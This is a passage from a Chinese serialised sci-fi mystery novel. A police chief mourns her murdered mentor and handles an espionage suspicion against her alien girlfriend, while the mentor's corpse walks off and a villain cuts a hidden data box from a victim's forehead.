“申请星际执法权啊!绝对不能放过那些狗.日.子!”辛瑙激动的一蹦老高地跳过来。 她原本以为是他们查对了方向,而且查到了对方的大动脉,才让王校长遭此毒手的。 如此看来,这个案件不单是刑事案件,现在不单单牵扯了清异局,还有国安了。 “现在你师祖身上沾染的只是凶手气息,局里的勘测仪检测不出来,我的异能只能确定身份,没有办法提供可以作为证据的数据。” 端戊握住小老头冰冷僵硬的拳头,试图打开:倔的啊,一点机会都不留给别人啊! “啥?明知道是那些狗.日干的?也拿他们没办法吗?师父,给你!”辛瑙头上的卷毛都炸开了,她明白端戊,从袋子里拿出包递了过去。 “怎么可能!既然知道是他们,掌握证据还是问题吗!”端戊咬的牙快要掉渣了。 同时尝试着把包带塞到小老头的手里,小心的掰开一条缝,指尖探进去一点点。端戊摸到的不是手心更不是指甲,反而像是个小小的金属拼接木质的盒子。 余光扫了一圈,估计了一下摄像头的位置,端戊巧妙的换了一个姿势,假装自己在用力。 鸟摸悄儿地把小盒子抠出来放在自己掌心,把包带塞到王校长的手里。 “师祖,我师父早就买好了的,都怪她懒,一直没给您送过来。”机灵鬼辛瑙和她师父默契度是逐日增长的。 只是从侧面看她师父的小动作,就知道她有发现,并且是在躲避摄像头。于是大大咧咧的就拎着袋子走过去,并且搭上端戊的肩膀。 然后,她就看到了端戊把一个什么东西迅速的收起来了。 端戊并未理会辛瑙小嘴叭叭了些啥,内心的悔意改变不了一丁点。 总觉得自己忙忙忙,每天都在忙,要忙的事情日复一日,永远忙不完。 可是有些人、有些事,等不到永远的。 从大一那年,就在和小老头念叨着,要把他那个古董包换掉。可直到最后,他也没见到自己送的这个包。 瞳视有语音进来,是公序舍的安保。 康屿安是住进公序舍的唯一外星人,很多人对她多少是有些防备的。而端戊是她法律上的监护人,所以很多事情总要和她说。 不过是些鸡毛蒜皮,都是些有的没的,本来这会儿她是不想接的。 可是想想现在是多事之秋,她担心康屿安的安全。端戊抹干净脸,清清嗓子,还是接了。 58.第 58 章 这是到了风雨飘摇的季节吗?风吹着树叶子砸下来,都会把脸割一道血痕。 听着对面安保偷地雷似的声音,端戊就知道今天这事不小。 果然,安保已经口头定了康屿安的间谍罪,甚至还给人家量了刑,打这个语音电话似乎就是为了通知端戊。 “端局哦,不得了呀,出了大事了!” “嗯什么事,说吧。”端戊希望她长话短说,真没多少力气和她拉扯了。 “端局啊,你隔壁的那个小精灵,刚刚出来扔垃圾的样子。后来好像接了瞳视,不知道说了什么,就看着她跑出去十多步远咧,站那以后脚底下刮起一阵风,人不见了!在我眼皮子底下消失了……” 安保偷地雷的声音突地就拔高了,震得对面的辛瑙向后退了一步,端戊也懒得调声音,只是用手压着了耳朵。 “行知道了,如果没有其他事情,我这还在忙。”端戊眉心蹙成夹心小饼干,有一种自家宝贝被人家指指点点的不爽。 更不爽的是:出去干嘛?找崔雪松? “有事的!我还没说完。”安保的不满溢于言表,端戊都能想得到那张撇出星际的嘴。 “我楼上楼下包括大院的找她啊,我都没找到,正准备和您说这事呢,她一下子就出现了。不是在原来的地方了,身上还沾着血,不知道是别人的还是她自己的,吓死个人了,不是做亏心事哪会这么偷偷摸摸的,一定是传递消息了,弄不好还出人命了,这不判个十年二十年的……” 隔着瞳视,端戊和辛瑙都能听到‘啪啪’拍胸脯的声音。 “她满身血的回来了的?她受伤了?”端戊有点担心,可是接下来她是准备去医院看师娘的,也不知道那边情况怎么样了。 “不知道是不是受伤了,看她走路好得很呐,腿应该是没问题的,端局啊,你说……”不用猜也知道,这音调是八卦的前奏。 端戊立刻、马上就想见到康屿安,看看她有没有事,果断地结束了即将开始的八卦:“知道了,谢谢,拜拜!” 正要和康屿安连接一个爱意、关切都满满的视频,夏所不咋知趣的视频抢先挤进来了。 端戊从来没想过,会有这么一天,做康屿安的地球监护人比做端局更忙。 “夏所……”端戊强打起精神,扯出一个外交微笑。 “端局,不好意思这么晚打扰你了,只是事关小康,情况也是有点严重……”夏所那边可是官方不了一点。 “康屿安?她出什么事了?”端戊的客气被打断了,嘴角的弧度也凝固了,心脏却加速奏乐加速舞。 各种事情就这么很凑巧地衔接上了。 “上周,我们在海军训练场附近的海域采集样本,打捞上来一条‘大谍鱼’,这么重要的事可得即刻封存,及时汇报啊。谁知封存期间出事了,先是‘大谍鱼’里采集的数据被提取传送出去了,然后就被销毁了。显示的操作设备是小康的……”夏所声音越来越低,从激动到迟疑。 这是抓精灵也得问‘主人’吗? 端戊敛去凝固在脸上的弧度。她相信不管康屿安作出什么妖,也不可能是间谍。 “听夏所的意思,是要逮捕康屿安?现在是在通知我?”端戊的语气里透着护犊子的不悦。 “那倒也不是,数据泄露时,刚巧是小康和端局出去,有不在场证据和时间证人,时间证人还是端局。现在不就矛盾了吗?所以……” 夏所也不是忌惮端戊,只是没证据也不好隔离调查康屿安,人家又是个有监护人的,这事多少有点说不过去。 “夏所是要隔离调查吧?咱是不是缺少扣押证据啊?当然了,既然和康屿安扯上关系,该配合的还是要配合的。我会亲自送她到研究所,这段时间她就呆在研究所直到洗脱嫌疑。但是在这期间,得允许监护人每天探望。” 监管间谍嫌疑人的流程,端戊比谁都了解。从夏所吭哧着半天说不出来,她就知道夏所是要把康屿安临时羁押。 端戊怎么可能允许! “嗯……可也行。那端局什么时候把人送过来?你这是在哪呢?”夏所半推半就地妥协了,本来她也不是怀疑康屿安,不过是调查清楚前,需要给上级和军事部门一个交代。 夏所看着端戊的背景觉得怪怪的,感觉像是停尸房,又感觉像是主题乐园。 “研学院停尸间。”端戊直言不讳,天亮就要发讣告了,也没什么隐瞒的。 夏所这才注意到端戊眼睛是红的,脸色也难看的像是失去了亲人,突然就有种不好的预感:“谁?” “我老师,王老。”端戊还是不能接受这是真的,说出来的话生硬冰冷。 “……”屏幕里突然看不见夏所的人了,如果不是勉强可以听到断续的闷闷呜咽声,端戊都以为通话结束了。 “夏所?”端戊顿了顿,她不想问你还好吗? 她和王校长是初恋的事也不是秘密,情窦初开没有结果的那个人,没任何征兆的就去世了,只要没有大恩大怨,都不会觉得是件开心的事儿吧。 端戊说不出安慰的话,首先她不会,其次她也是那个需要安慰的人。 “明天上班时间,我就会把康屿安送过去,明天见。”端戊认为,这个时候此处无声胜有。 她猜的没错,夏所没有做出任何回应,无声的结束通话。 “早知道那是最后一次见你,我就应该多留你一会儿,多说说话的……”夏所紧紧揪着自己的衣领。又或许,那天是他专门来见自己最后一面的。 死别比生离,更要人命。夏所以为自己坦然放下了,原来她只是放下了现在的王校长。 而记忆里的王老师,一直鲜活在过去。她以为自己今晚无论如何也睡不着呢,没想到很快就哭睡了。 不但睡得很沉,还做了梦,一个有王老师的梦。 端戊再不会安慰人,自己再需要安慰,当她见了师娘时,不会也非得会了,不行也一定能行了。 端戊和辛瑙到医院时,警察们刚离开。 师娘瘦弱的身体,陷入松软的蓝色格子被褥里,被子拉得很高,盖上了眉眼,只剩下花白的头顶和半个褶皱的额头。 “上次见到师娘时,还没这么多白头发,也没这么多皱纹呢。”端戊站在门口看着里面的人,鼻音酸唧 唧的很重。 师娘比王校长小十岁,看起来又比同龄人年轻。从前总是打趣王校长,说他是捡到一朵娇花的牛粪。 王校长从来不在意,总是笑呵呵的说,没有牛粪的滋养,哪来这么娇嫩的花儿。 “师娘……”端戊走到床边轻轻拍了拍,声音低得像是怕吓到她似的。 低不可闻的一声,却像是炸雷一般让师娘从床上坐了起来,被子落下露出一张白纸似的脸。 师娘还是那个师娘,却又是陌生的。 端戊从来没在师娘眼睛里,看到过这样的惶恐和无助。像是离群走丢的羔羊,突然看到了熟悉的羊。 “端戊……端戊……”师娘红肿的眼睛又盛不住那么多泪了,湍急的涌出来,嘴唇哆嗦着就是说不出一句完整的话来。 就那么伸出颤抖的双手,看着端戊,喊着她到名字。 “师娘,别怕……我来接你回家了。”端戊上前一步,抱着师娘单薄的身体,像是秋风里的枯草在她怀里不停的抖。 端戊来病房之前,已经去医生办公桌了解过了。医生说身体没什么大碍,就是受到惊吓后又悲伤过度。 听到师娘没事,端戊心放下了一半,马上给端妈打电话。 “别再这墨迹了,赶紧把人接回来,我现在就把你房间收拾出来,以后就给师娘住了。正好端砚说她是大人了要自己出去住,我自己一个人住着也孤单。”端戊话没说完就被端妈打断了。 “端砚要搬出去住了?可是我没说过这样的话啊?”端砚有点懵,怎么一个康屿安搬出来,就把自己也带出来了。 现在端砚不想在家里住了,关她什么事呀?怎么还失去了回家住的权利了呢? 可能师娘也没想到端戊是来接她到,她以为只是过来看看她,安慰她,陪陪她。 师娘突然从端戊怀里挣出来,一双干枯的手紧握着端戊的手臂,抬起头泪眼婆娑地看着她:“去哪?” “端砚从家里搬出去住了,我也住单位宿舍,我妈一个人在家孤单,想让您过去陪陪她。” 端戊哄小孩子一样,轻柔地替师娘擦去眼泪,用修长的手指帮她捋顺杂草一样的头发。 辛瑙站在一边抹着眼泪,发现她师父也是会温柔的擦眼泪的。 “老王他……”师娘猛地抱住端戊,泪水很快就浸湿了她的前襟。 “我刚去看过老师了,师娘放心,一定会给老师个交代的!”端戊在师娘背后轻拍的手握成拳,忍了很久泪落在了师娘花白的头发上。 端戊回到公序舍已经凌晨两点了,轻手轻脚的开门害怕吵醒康屿安。 “你回来了!”猫一样的康屿安,踮起脚丫没一点声音的跑到端戊身后,避开伤口从背后抱住她。 端戊先是吓了一跳,但马上暖意就遍布了全身,瞬间扫清了一整晚的疲惫。 她转过身来抱住康屿安,下巴抵着她的头发,在发间深吸了一口:是刚洗完后的樱花味,却有一丝不易察觉的咸味儿。 端戊把康屿安抱得更紧了些,享受片刻的温情。 接下来的每一句话,都注定今晚是安宁不了的。 59.第 59 章 怀里的康屿安好像晒过太阳的羽绒被,端戊贪恋她的香香、软软、暖暖,只想这样一直抱着。 手,可以不放开,话,总是要说的,要不然康屿安会以为她睡着了。两个人头挨着头,说话也能撞到一块儿。 “师娘怎么样了?” “你怎么还没睡?” 两个人同时不说话了,等对方先说。康屿安伏在端戊的肩头笑,笑得差不多了两个人又同时开口了。 “接到我家去了。” “我想等你回来。” 齁甜的热恋期任何事情都觉得好玩,任何话都齁的想笑。 哪怕是说话撞到一起这点事儿,也觉得好笑的不得了,至少现在的康屿安是这样子。 “哈哈哈哈……”康屿安笑得抖成一团,笑着笑着就不笑了。 虽然端戊不像她一样笑点无限低,但都会在她笑抽抽的时候,安抚的轻拍她,让她收。 可是今天她像个工具人,进来以后就一直这样抱着她。康屿安止住了笑,抬起头看端戊。 还是那张看不出情绪的脸,因为王校长的事,比平时多了些悲伤和憔悴。 康屿安瞬间理解了她的反常,王校长的事情对她的冲击和失去了父亲差不多吧。 于是,柔若无骨的小手拉着端戊走到床边,温柔的帮她脱外套。 “等我的时候都干嘛了?”端戊空灵的声音自带混响,哪怕闲聊、八卦都不接地气。 康屿安的手顿了一下,她想起今天刚刷到的情感补剂,视频里说感情的基础是信任、信任的基础是坦诚。 可是也没说这个坦诚的范围啊?我自己的事情可以坦诚,那如果不是自己的事情,别人需要保密的事情,要不要和自己的女朋友说呢? “看看书,刷刷瞳视,然后你就回来了……”康屿安的嘴替她做出了决定。 端戊长出一口气,换作平时她可能会再周旋一下,或者引导引导。可是这会儿她身心俱疲,没力气搞任何弯弯绕绕。 “安保说你扔垃圾的时候消失了,过来很久才回来?还沾了一身血回来,你干嘛去了?”端戊盯着她看,像是在审视她每一个微表情和小动作。 这样的目光让康屿安感到不舒服,尽管努力克制、掩饰,端戊还是看到她到精灵耳有轻微抖动。那是康屿安受到了惊吓或者心虚时才会有的动作。 她没想到今天端戊会这么直接的戳破,怔愣片刻后脸腾地就红了:“我,我,我是你的犯人吗?你还要找人看着我!既然没有信任,那就那就……” 端戊看着康屿安恼羞成怒的样子觉得有点好笑,可是她笑不出来。 “那就,怎样?”端戊看着康屿安气恼地扭身回到床上坐着,于是自己慢吞吞地脱下外套。 康屿安想过来帮忙,最后还是狠狠心坐着没动。 “是你不信任我的!回来就像审犯人一样。”康屿安气得耳朵绷成了哨兵。 “我是想信任你的,可是你对我说谎了。”端戊坐到她的旁边,有点像家长要对小朋友讲道理了。 康屿安也敏锐察觉到了两个人气场的变化,挺直脊背尽量把气场拉平,可是说出来的话却更小朋友了。 “我又不是小孩儿,我不能有隐私吗?”说完自己都有些懵了,第一次谈恋爱,隐私和坦诚可以兼顾吗? “可以有,我工作上不方便透漏的事情我也不能说,可是我会坦诚的说,有要做的事情不方便告诉你,而不是隐瞒你说没有那回事。”端戊有点饿了,今天的事情都太消耗了。 一直以为,哭和争吵都是不太费力气的事儿,今天才知道原来是最累人的体力活。 康屿安睁大了眼睛:我就说吵不过小粽子嘛!我刚刚还在纠结的事情,两句话就被她掰扯明白了,被她说的,我自己都觉得是我错了。 “我没有想骗你,不过是件和我们没关系的事情。”康屿安想不明白,自己做错什么了?别人的事又和她俩不相干,就当没有这回事又怎么了? “事情可能和我们没关系,可是因为你参与了,就会对我们有影响,或者说对你有影响,我又怎么能不管你呢?” 端戊想要让她明白,她俩是一荣俱荣一损俱损的关系,说多了又怕她反感叛逆,瞬间觉得自己又养了个崽儿。 这个崽儿和辛瑙那个崽儿还不一样,那个能打能骂,这个重话都不能说。 “既然我只会给你惹麻烦,以后我有什么事情都不用你管了!”康屿安像个长了耳朵的河豚,气鼓鼓的回到床上,背对着端戊蒙上被子。 端戊看着闹脾气的小朋友,怕她把自己闷死了,伸长胳膊帮她把被子往下拉了拉。 而且,还有一件事没和她说呢。 “你们所打捞上来的那个‘大谍鱼’里面的信息被泄露了,用的还是你的设备。所以从明天开始你要接受调查了,我明天把你送回研究所,这段时间你要住在那里了,我会每天去看你的……” 端戊朝康屿安那边挪了挪,想要抱抱她,没想到她突然转过身来,于是手就尴尬地僵在半空。 “他们不信我,你也不信我吗?”康屿安的眼圈倏地就红了,像是一只委屈的兔子。 最信任的人,接二连三不相信自己。康屿安越想越委屈,谈恋爱肯定没有比她谈的更悲惨的了。 “怎么会?你不过是脾气差点,人倔强点,不听劝点,我肯定相信你不会做触犯规则的事情啊。”端戊悬着的那只手,落回了自己的额头上。 “原来我在心里这么多的缺点?”康屿安炸起耳廓里是绒毛,背对着端戊躺回去了。 怎么回事?说也是错,不说也是错?筋疲力尽的一个字也说不出来了,哄不了一点,端戊也背过身躺在床的另一边。 两个人都倔强的一动不动,不肯先转过身来。而两个人都从呼吸声判断出对方并没睡。 端戊突然睁开眼睛:酱油筋呢?今天怎么没见到它? 今晚,睡不着的大有人在。别人睡不着也就算了,王校长也睡不踏实吗? 白天看起来还像主体乐园的二楼,被夜晚的灯照成冷蓝色,还有 一只出问题的灯忽明忽暗的,下面是绿幽幽的安全出口指示灯。 夜巡保安听到二楼有声音,脚步退缩了回去。可是马上就到他监控定点打卡的时间了,犹豫了一下,还是硬着头皮往二楼走。 甚至电梯他都没敢坐,那个比常规电梯要长要冷的电梯,白天他都害怕,不要说晚上了。 多少次他都想干完这个月不干了,太吓人了。可是想到研学院的福利待遇,上班时间还短,咬咬牙忍到了今天。 “二楼的窗子没关吧?白班的小徐太大意了,明天可得和他说一下。”保安大声的碎碎念给自己打字。 瑟瑟缩缩的爬到二楼,感觉台阶好多啊,爬了有一个小时那么久似的。 “嘶啦……”保安刚刚站到二楼门口的指定打卡摄像头前,就听到拖拽冷藏柜的声音。 保安像是瞬间掉进了冰窖了,脖子后的汗毛都站起来了,根根立在脖子上。 白天咋没觉得这声音这么大呢?在阴森死寂的大晚上格外的刺耳,尖锐的声音让保安下意识地咬紧牙根。 已经打完卡了,他想转身就跑,脚却像是被胶粘上了一样。 他自己都不知道自己是被吓的,还是好奇心战胜了恐惧。反正脚没动,整个身子前倾,趴在了门上,隔着玻璃往里看,边看还边一点点的推门。 刚退出一条缝,一道黑影咻地跑出来扑向他。 “啊!”保安吓出了老嫂子音儿,冷汗顺着鬓角流下来。 脚还是动不了一点,保安一屁股坐在了地上,玩命地向后挪动。 “喵呜!”一只小黑猫扑到他身上,踩着他朝楼梯下跑去,跑到楼梯拐角还回头看了保安一眼。 “吓死我了,你啥时候上来的?”保安认识这只猫,是王校长养的。 知道是猫弄出来的动静,保安的胆子一下子就大起来了,脚也能动了,腿也不突突了,尿感也没了。 雄赳赳的站起来,一扫怂态的拍拍屁股后尘土,一把推开了门。 “啊!鬼啊!王校长,求求你放过我吧!噶……”保安嗷呜一嗓子喊破了音,一句话没说完舌头都咬了很多次,然后就直挺挺的躺在地上没一点气息了。 保安没眼花,这如果换了谁都得吓得噶过去。 一开门,就和头凹进去一半,只剩下半张脸、一只眼的王校长撞个个满怀,而王校长的一只眼睛还是睁开的,和生前一样的浑浊。 好好的一个人突然就在眼前消失,王校长也很惊讶,被冻得僵硬的身体吱嘎吱嘎地弯腰看地上的保安。 歪着头的样子,又可爱又恐怖,等了很久也没见保安起来就从他的身上跨过去,笨拙的下楼了。 走到一楼时,王校长突然停下脚步,用塌了的鼻头用力的嗅。 小黑猫突然从门后窜出来,弓起腰,全身都毛都炸开了,对着王校长哈气。 王校长又弯着头看小黑猫,干瘪的脸看不出来表情,像是在识别。 突然,僵硬的身体像是融化了一样,突然挺直了向咪扑过去。 60.第 60 章 “喵呜!”小黑咪的瞳孔嗖地缩成一道闪电,尾巴毛也炸成狼牙棒了,飞机耳更是看都看不见。 没想到解冻后的王校长比咪还敏捷,咪的四条腿都跑出残影了,还是被抓住了。 黑咪瑟缩着向后挪动,亮出它的无影猫爪,左一套残影梅花爪,右一套降喵十八掌的,快如疾风连环拍,几下就把王校长身躯拍的皮开肉绽却不流血。 王校长把咪捧起来,用那只独眼认真的扫描。在咪放松警惕的时候,突然张大嘴巴咬住咪的后脖颈。 “喵呜!”咪惊恐大叫,挣扎了一下便不动了。这感觉太熟悉,从前王校长就是这样吓唬它的。 在嘴里含了一会儿后,王校长把咪装进手里的新包,朝着学校的梧桐林跑去,很快就消失了。 有些人说消失就消失了,而有些人虽然回来了,却面容枯槁、蓝条见底,就连叶白见了都吓了一跳。 洪橙橙像是在烘干机里烘了一天才拿出来,橙红色的头发变成枯黄的草,粉色的耳朵成了土黄色。那张脸比木乃伊还木乃伊,叶白根本没认出来。 唯一的区别,就是洪橙橙还剩下一口进的少、出的多的气。 “那老头居然把端粒虹吸仪用在了洪橙橙身上,啧啧啧,竟然让他先下手。我还是太年轻、还是太善良啊!可惜了洪橙橙的纳米元婴体了,原本我是想留给我爸的呢……” 叶白晃着如同长在手里的红酒杯,不知道是惋惜还是后悔晚了一步。 “这不是因为您善良嘛……”情绪价值供应源玲珑上前一步替叶白添酒。 “我善良?哈哈哈善良……”叶白抬起手隔着酒杯,看着匍匐在脚底下的洪橙橙,另一只手伸向玲珑。 玲珑赶紧刀刃朝自己地递到她手上。 叶白把酒兜头倒在洪橙橙脸上,满脸红溪漫壑,诡异凄厉。 “唔……”哪怕她快要死了,洪橙橙还是在最爱的酒香中嘤咛苏醒。 但很快她就知道了,不该醒。 叶白用刀尖在洪橙橙的眉心比划了一会儿,手起刀落地划了一个十字。 “啊!疼!”洪橙橙惨叫的声音,像是枯木折断簌簌掉落干屑,不贴近根本听不到声音,更没有什么力气挣扎。 看着洪橙橙痛苦扭动,叶白兴奋得表情扭曲。手舞足蹈着刺进眉心胡乱搅动很久,才把拇指和食指伸进去。 洪橙橙很快没了动静了,死一样瘫在地上。 叶白笑得像是一只得逞的狐狸,从眉心里翻出指肚大小的黑色小方匣。 黏腻的血顺着叶白的手指、小黑匣滴落到浅灰的地毯上,像是无数只血红的眼睛在地毯上一点点的睁开、变大。 叶白举起小盒子眯着眼睛端详一会儿:“给镇北送过去,让他把里面的视频导出来剪好,给敬爱的曹部长送去,独乐乐不如众乐乐嘛,想必这里面的内容精彩的很呢!” “笃笃笃!”玲珑刚接过黑匣子,最懂事的镇北已经敲门进来了。 “白老大,夫人回来了,已经到门口了。” “赶紧把她带出去。”叶白朝着洪橙橙微抬下巴,示意镇北把人弄走,转身进卫生间洗手。 就看叶意秦想不想抓她,平时走门进来都是不想搭理她。像今天这样招呼都不打一个就到门口了,不用猜,就是奔着打她个措手不及的。 叶白刚洗完手正要回自己房间,玲珑忙着指挥两个阿姨处理地毯上的血迹呢。叶意秦就像是能闻到血腥味似的,直接就折叠进这个房间。 叶白重重的叹了一口气:MD,藏猫猫也是讲气运的吗? “妈妈,您怎么知道我想您了!”叶白把未完全擦干的手,不着痕迹的在身后抹了抹,扑上去就是一个爱的抱抱。 叶意秦被稀释的血腥味儿熏地有点上头,蹙着眉推开了叶考拉。 看着无的站在一边儿的三个人,再看看浅灰地毯上的深灰色,深灰色上的浅褐色,大脑突发奇想:这个崽儿,当年会不会是被人调换了? “你们都出去。”叶意秦声音不大,慢悠悠地让人脊背发凉。 玲珑推着两个人,你踩我,我踩你的就出去了。 “啪!”门刚关上,叶意秦白嫩的手就拍在了叶白脸上。 “妈妈是专门回来打我的吗?那多辛苦,应该喊我送过去给妈妈打的呀!”叶白用舌尖抵着火辣辣的脸颊,冷冷地和叶意秦对视。 “还记得上次是因为什么打你吗?还记得你当时是怎么保证的吗?”叶意秦为这对父女擦屁股,已经擦到她生理性厌恶了。 “记得,让我不要四处树敌,免得招惹不必要的麻烦。我答应你吃好、喝好、玩好,其他的什么都不做。” 既然妈妈不想抱,叶白也知趣的退回沙发大咧咧的坐下,又开始摇她的红酒杯。 “你想摆脱与哥布林星的合作,又想哥布林人为你所用,你这点小聪明最后坑的是你自己知道吗?这些人哪个是省油的灯?” 叶意秦睁一只眼闭一只眼太久了,她甚至觉得叶白做出这些事情和自己的纵容脱不开干系。 “辛苦妈妈了!”叶白立刻明白叶意秦因为什么事回来的了,她以为只要那个老头死了,就什么线索都断了。 直到现在,她依然认为自己只是输在了年轻。 “不要以为我不知道你惦记的是什么?想都别想,她只是看着无依无靠,那是因为她没事,如果真出事儿了,她身后有朝暮星军方和地球警方,不要给自己惹不必要的麻烦。” 叶意秦走过去扯着叶白让她坐直,又抢过她手里的酒杯,重重放在桌子上,烦死了叶白这副死样子,如果不是自己生的,早掐死她了。 叶白歪着嘴笑得一脸邪恶,看着抱成一团血红珠子的酒从杯子里一跃而出,跳到桌面扩散出自由的形状。 她羡慕了,哪怕面对的是毁灭,不是干涸就是被擦干。 “妈妈是觉得我会连累您和爸爸吗?哦不,是怕我会连累你,您放心,我一人承担。”叶白仰视着叶意秦,童年的记忆铺天盖地涌上来。 “你拿什么承担?”叶意秦今天脾气格外的不好,甚至是暴躁。 “拿命。”叶白漫不经心的搅动着蔓延成不规则形状的酒渍,轻飘飘的吐出两个字 。 “你……”叶意秦胸口快速起伏,鼻翼翕动,下意识又抬起手来。 面前不再装乖的叶白,就像看着她爸爸。得到一切都是不择手段的,包括感情。 “妈妈这次要不要换一面打?”叶白笑嘻嘻的把另一边脸侧过来。 叶意秦脑子里闪过小时后得了腮腺炎的叶白,小小的一只,脸肿得高高的,眼泪汪汪的歪着脸给她看。 叶白幼时的脸和面前小恶魔的脸不断交替,她不知道是自己造的孽,还是叶白爸造的孽。 叶意秦恨恨的放下手,真就像为了打那一巴掌而来,再多打一下都算多干的活,转身就走了。 一打开门,刚出去的三个人还站在门口,看到叶意秦出来毫无默契的碰撞着让开。 “妈妈这就走了吗?不留下来一起吃早餐吗?”叶白又恢复了乖巧样儿,就好像刚刚挨打的不是她一样。 叶意秦不是只留下了一巴掌,顺便也更坚定了叶白要做的事情。 被惦记着的康屿安打了个冷战,端戊从后视镜里看到默默把车窗关上。 端戊心情不太晴朗的收起复古方向盘,启动的意念盘:上来就坐到了后排,是拿我当司机用吗? 既然是司机就要称职吧?老板打个冷战还不得为老板关窗? 她有点想念小乌龟了,虽然它只有复古方向盘,可那是端戊的第一台车,她又赋予了它灵魂,说到底感情不一样。 曾经想过,即便将来换车了,也要为打造一个玻璃柜让它住进去。 端戊从后视镜瞄了一眼康屿安,小耳朵的侧影像是对着天空的小喇叭。 康屿安一脸严肃的看着窗外,像是阅兵的战士。 端戊轻叹一口气,想到今晚小紫耳朵就不能回来睡了,就不想这么僵着的浪费时间。 “就算是调查时期,我们也只是配合工作,不用有心理负担,如果有什么让你不舒服的事情,和我说,我来处理。”端戊越来越觉得自己像是康屿安的家长。 “嗯,我知道了。”康屿安抖了抖耳朵,也意识到了两个人不知要到什么时候才能见面呢。 虽然端戊说每天都会来看自己,可是局里发生了那么多事等着她呢,王校长又刚遇害,警姐的承诺又怎么能当真呢? 端戊看康屿安没有让自己的话掉在地上,于是放心的往下聊了。 “你喜欢的水果都切好放在包里了,记得早点吃,时间久了影响口感。”端戊觉得还是要送到幼儿园的崽儿。 “嗯……知道了。”康屿安突然想到晚上就不能回宿舍了,不能睡自己软软的床了,竟然伤感的不舍起来。 感觉到康屿安的低落,端戊想想还是哄一下吧:“明天我就去看你,你明天想吃什么水果,告诉我。” “明天能来再说吧……”康屿安一脸的不信任,皱了皱鼻子,耳朵有点垂。 “说了要每天来看你,就会来,不然我也不放心……”端戊倏地转过身来看康屿安,被她眼里都不信任刺痛了。 瞳视工作频道有报警中心的连线申请,端戊的心骤然坠入冰窟。 61.第 61 章 内线一响,预感不详。 端戊从后视镜看康屿安,刚好和她的视线对上了。 于是,略显尴尬又不失取悦地扯了扯嘴角,康屿安努了努嘴,把头转向一边继续看窗外。 报警中心催命似的呼叫,端戊内心不安地像被拽住尾巴的小马驹,上窜下跳地蹦跶。 “你好……”端戊接起语音通话,眼睛却没离开康屿安。 “端局您好,我们这边刚接到的报警,说研学院走失了一具尸体,是您的老师王校长……”接线员不是机器人倒是挺让人意外的,只是语气急促的像他是报警人。 康屿安瞬间忘了生气,整个人靠过来贴紧前排靠背,小脑袋探到端戊的旁边。 端戊匆忙看了一眼后视镜,手指飞快的打着圈滑动意识方向盘,车子紧急靠边点了按键刹车。 “什么叫尸体走失!你们报警中心这么不严谨的吗?”端戊的声音低哑沉怒,每一个字都透着寒气。 接线员也是熟悉端戊的,有些意外平日里的大金毛局长竟然只是隐藏了虎威。再想能做一局局长的人怎么可能真随和。 “端局您别急,真的是自己走了,从停尸房到外面,每一处的多维眼都拍到了……” “你们没通知家属吧?”端戊第一时间想到了师娘,现在哪怕是一根小稻草都能压垮她,更别说是这么匪夷所思的事了。 “我们领导特别嘱咐直接通知您,没敢惊扰王夫人。”接线员就差拍着胸脯保证了,报警中心领导谨慎着呢,机器人接线员都没敢用。 端戊想起从王校长手里发现的那个小盒子,她昨晚就尝试过很多方法都没打开。 现在看来,那应该是背后之人要找的东西。或许,王校长身上还有什么是他们想要的。 “好的,我知道了,辛苦了!”端戊呼吸急促、额角青筋毕露,牙齿咬得咯咯响,紧闭双眼才止住了已经浸湿睫毛的泪水。 压回去的眼泪在端戊心口凝结成冰,沉入胸腔,端戊用手捂着胸口试图融化那里的痛。 王校长把一生奉献给了研学院,毕生心血都用来培养栋梁,死的惨也就算了,死后还不得安宁。 如果不是警务人员,这一刻她都会生出以暴制暴,以其人之道还其人之身的念头了。 一只柔软的小手搭上来,用力的捏她的肩膀上。康屿安没说一句话,现在任何的安慰都如同气泡。 端戊把一侧的脸贴在康屿安手背上,暖意一路加载到全身。呼吸也慢慢的平复下来。 “冷静一下,你赶紧去忙你的吧,我可以自己去研究所。我这边你放心,会配合上级调查的。”康屿安隔着靠背抱着端戊,轻抚她倔强的头发。 “我没事了,我先把你送过去,要不然我不放心。”端戊转过身来看着康屿安,低哑的声音像是渗着血。 “还有几百米就到了,路上这么多车这么多人,到处都是多维眼。再说几步就一个排水口,能出什么事,放心啦,快点去吧!”看着端戊比兔子还红的眼睛,康屿安心被针刺了一下,声音像棉花糖。 她觉得,现在唯一能为端戊做的就是不给她添麻烦。 “不行!”端戊冰冷的唇印在康屿安莹白的额头上,启动车子打算先把她送到研究所。 “我自保能力强着呢,你忘了当时你都捉不到我的。好啦快去吧,早点抓住凶手才会安心。”康屿安按住端戊的手,随后按下开锁键。 双手揉捏着端戊的脸蛋,半是安慰半是解压,最后在她唇上用力的亲了一下。 “走了哦!到了所里我会和你说的,注意安全,爱你哦!”唯恐被拉住了,康屿安像是逃跑的小仓鼠一样夺门而出。 “路上看车,走人多的地方,到了第一时间和我说!”端戊摇下车窗大声嘱咐,看着风吹起了风一样女子的长发,犹如掀起的灰色绸缎一样美。 “知道啦!”康屿安扬起手对端戊挥了挥,露出一节手腕,被阳光镀上了一层滤镜。 看着康屿安在路口转弯了,端戊面沉如水,眼神却像是在审讯,好像凶手就在面前一样。 突然,端戊漆黑的眼睛灵光闪过,手指在意识方向盘画了一个半圈。车头转,车尾摆,车身划过一道弧线,地面留下一条黑痕。 车子像被按了快进键一样冲了出去。 同样快进的康屿安嗖嗖地三步并作两步,她不想在这个时候分散端戊的精力。 “姑娘,小姑娘……”一个像老旧的留声机一样跑调的声音,在身后呼哧狂喘的喊。 康屿安本来不想停下来的,到处都是土生土长的地球人,她不认为一个小精灵能帮到她。 可是,身后那个上气不接下去的声音还挺能跑,一直在后面喊,听得康屿安还怪难受的,真怕她哪口气没倒上来。 “姑娘,你等等奶奶……咳咳咳!”跟着康屿安跑了没多远,破留声机已经跑成了破风箱,还呼呼地直漏风。 康屿安实在不忍心了,就好像她不停下来,风箱奶奶能把肺咳出来似的。 “怎么了奶奶?有什么事吗?”康屿安停下来,先看了一下四周,戒备的走到就近的一个排水口。 风箱奶奶看着康屿安兜了半圈,站得离自己远远的,裂开嘴笑地露出缺了两颗牙的黑洞。 难怪漏风呢,康屿安看着觉得更难受的。 像是为了证明自己没有攻击性,风箱奶奶捂着胸口踉跄着走了过来。 “小姑娘,欸?不是地球姑娘啊?还长了耳朵怪好看的。”风箱奶奶眼底灰黄,眯起眼打量着康屿安。 “谢谢!所以我可能帮不上什么忙。”说完康屿安转身要走。 